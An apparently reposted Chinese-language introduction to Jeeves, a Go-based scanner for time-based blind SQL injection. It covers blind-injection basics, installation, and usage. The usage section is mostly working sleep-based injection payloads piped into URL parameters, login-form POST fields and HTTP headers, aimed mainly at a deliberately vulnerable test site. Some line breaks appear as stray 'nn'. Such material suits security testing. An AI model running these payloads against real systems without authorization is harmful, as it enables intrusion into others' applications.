网络知识 娱乐 Jeeves:一款功能强大的SQL注入漏洞扫描工具

Jeeves:一款功能强大的SQL注入漏洞扫描工具

关于Jeeves

Jeeves是一款功能强大的SQL注入漏洞扫描工具,在该工具的帮助下,广大研究人员可以轻松通过网络侦查等方式来寻找目标应用程序中潜在的基于时间的SQL盲注漏洞。

关于盲注

盲注分为两类:

1、布尔盲注:布尔很明显Ture跟Fales,也就是说它只会根据我们的注入信息返回Ture跟False,也就没有了之前的报错信息。

2、时间盲注:界面返回值只有一种,即Ture。也就是说,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数之后,我们将能够通过查看Web页面返回的时间差来判断注入的语句是否正确。

工具安装

该工具基于Go语言开发,因此我们首先需要在本地设备上安装并配置好Go语言环境。

接下来,我们可以直接使用go命令来安装Jeeves:

$ go install github.com/ferreiraklet/Jeeves@latest

除此之外,我们还可以使用下列命令将该项目源码克隆至本地,并给Jeeves提供可执行权限:

$ git clone https://github.com/ferreiraklet/Jeeves.gitnn$ cd Jeevesnn$ go build jeeves.gonn$ chmod +x jeevesnn$ ./jeeves -h

工具使用

在我们的网络侦查的过程中,我们可能会找到如下所示的一个可能存在SQL注入漏洞的节点:

https://redacted.com/index.php?id=1

接下来,我们可以通过各种方式来对该节点进行测试。

测试单个URL

echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_timennecho "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5nnecho "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10

在--payload-time选项中,我们必须在Payload中使用相同的时间。

从地址列表读取

cat targets | jeeves --payload-time 5

添加Header

注意下列语句,也必须是相同的时间:

echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"

使用代理

echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"nnecho "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"

代理+Header

echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"

POST请求

在通过Post请求来发送数据的场景中(比如说登录表单)可以使用下列方式来测试:

echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"nnecho "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"

命令行使用

Usage:nn -t, --payload-time, Payload中定义的时间nn -p, --proxy 向代理发送流量nn -c 设置并发度,默认为25nn -H, --headers 自定义Headernn -d, --data 使用Post请求发送数据nn -h 显示帮助信息

使用SQL Payload字典运行Jeeves:

cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done

测试Header:

echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10nnecho "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10nn nnPayload credit: https://github.com/rohit0x5

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

Jeeves:https://github.com/ferreiraklet/Jeeves